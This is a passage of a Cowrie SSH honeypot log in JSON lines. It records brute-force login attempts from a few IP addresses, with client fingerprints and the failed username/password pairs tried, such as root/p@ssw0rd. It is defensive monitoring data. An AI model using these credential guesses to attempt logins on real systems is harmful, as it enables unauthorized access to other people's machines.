88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:23.441610Z","src_ip":"159.203.92.129","session":"0fa1fec4dd72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc-123","message":"login attempt [admin/abc-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:23.451257Z","src_ip":"159.203.92.129","session":"0fa1fec4dd72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54110,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c3501abbc5a","protocol":"ssh","message":"New connection: 192.109.200.78:54110 (10.17.0.5:22) [session: 0c3501abbc5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:24.176103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:24.180640Z","src_ip":"192.109.200.78","session":"0c3501abbc5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:24.265178Z","src_ip":"192.109.200.78","session":"0c3501abbc5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:24.463798Z","src_ip":"159.203.92.129","session":"0fa1fec4dd72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:24.507962Z","src_ip":"192.109.200.78","session":"0c3501abbc5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:25.725655Z","src_ip":"192.109.200.78","session":"0c3501abbc5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45300,"dst_ip":"10.17.0.5","dst_port":22,"session":"721b26028f23","protocol":"ssh","message":"New connection: 192.109.200.78:45300 (10.17.0.5:22) [session: 721b26028f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:28.403699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:28.408813Z","src_ip":"192.109.200.78","session":"721b26028f23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:28.492939Z","src_ip":"192.109.200.78","session":"721b26028f23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:28.744544Z","src_ip":"192.109.200.78","session":"721b26028f23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:29.832543Z","src_ip":"192.109.200.78","session":"721b26028f23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45302,"dst_ip":"10.17.0.5","dst_port":22,"session":"327f51fd42f4","protocol":"ssh","message":"New connection: 192.109.200.78:45302 (10.17.0.5:22) [session: 327f51fd42f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:32.467411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:32.471524Z","src_ip":"192.109.200.78","session":"327f51fd42f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:32.557501Z","src_ip":"192.109.200.78","session":"327f51fd42f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:32.813818Z","src_ip":"192.109.200.78","session":"327f51fd42f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:33.904621Z","src_ip":"192.109.200.78","session":"327f51fd42f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45314,"dst_ip":"10.17.0.5","dst_port":22,"session":"5281d4f2dc66","protocol":"ssh","message":"New connection: 192.109.200.78:45314 (10.17.0.5:22) [session: 5281d4f2dc66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:36.624896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:36.629665Z","src_ip":"192.109.200.78","session":"5281d4f2dc66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:36.712331Z","src_ip":"192.109.200.78","session":"5281d4f2dc66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:36.964738Z","src_ip":"192.109.200.78","session":"5281d4f2dc66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:38.051590Z","src_ip":"192.109.200.78","session":"5281d4f2dc66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59048,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6ecad34a55f","protocol":"ssh","message":"New connection: 192.109.200.78:59048 (10.17.0.5:22) [session: a6ecad34a55f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:40.621773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:40.625978Z","src_ip":"192.109.200.78","session":"a6ecad34a55f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:40.712400Z","src_ip":"192.109.200.78","session":"a6ecad34a55f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:41.047942Z","src_ip":"192.109.200.78","session":"a6ecad34a55f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:42.132403Z","src_ip":"192.109.200.78","session":"a6ecad34a55f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59076,"dst_ip":"10.17.0.5","dst_port":22,"session":"179e5240d199","protocol":"ssh","message":"New connection: 192.109.200.78:59076 (10.17.0.5:22) [session: 179e5240d199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:44.917144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:44.922144Z","src_ip":"192.109.200.78","session":"179e5240d199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:45.010187Z","src_ip":"192.109.200.78","session":"179e5240d199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:45.264919Z","src_ip":"192.109.200.78","session":"179e5240d199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:46.351477Z","src_ip":"192.109.200.78","session":"179e5240d199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58354,"dst_ip":"10.17.0.5","dst_port":22,"session":"9af8ead5b9de","protocol":"ssh","message":"New connection: 192.109.200.78:58354 (10.17.0.5:22) [session: 9af8ead5b9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:48.811269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:48.815858Z","src_ip":"192.109.200.78","session":"9af8ead5b9de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:48.903037Z","src_ip":"192.109.200.78","session":"9af8ead5b9de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:49.162335Z","src_ip":"192.109.200.78","session":"9af8ead5b9de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:50.249472Z","src_ip":"192.109.200.78","session":"9af8ead5b9de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58358,"dst_ip":"10.17.0.5","dst_port":22,"session":"921c4015034c","protocol":"ssh","message":"New connection: 192.109.200.78:58358 (10.17.0.5:22) [session: 921c4015034c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:52.959460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:52.964240Z","src_ip":"192.109.200.78","session":"921c4015034c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:53.045685Z","src_ip":"192.109.200.78","session":"921c4015034c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:53.303228Z","src_ip":"192.109.200.78","session":"921c4015034c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:54.391055Z","src_ip":"192.109.200.78","session":"921c4015034c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58360,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2ee5932e300","protocol":"ssh","message":"New connection: 192.109.200.78:58360 (10.17.0.5:22) [session: e2ee5932e300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:56.987907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:56.996358Z","src_ip":"192.109.200.78","session":"e2ee5932e300","protocol":"ssh"}
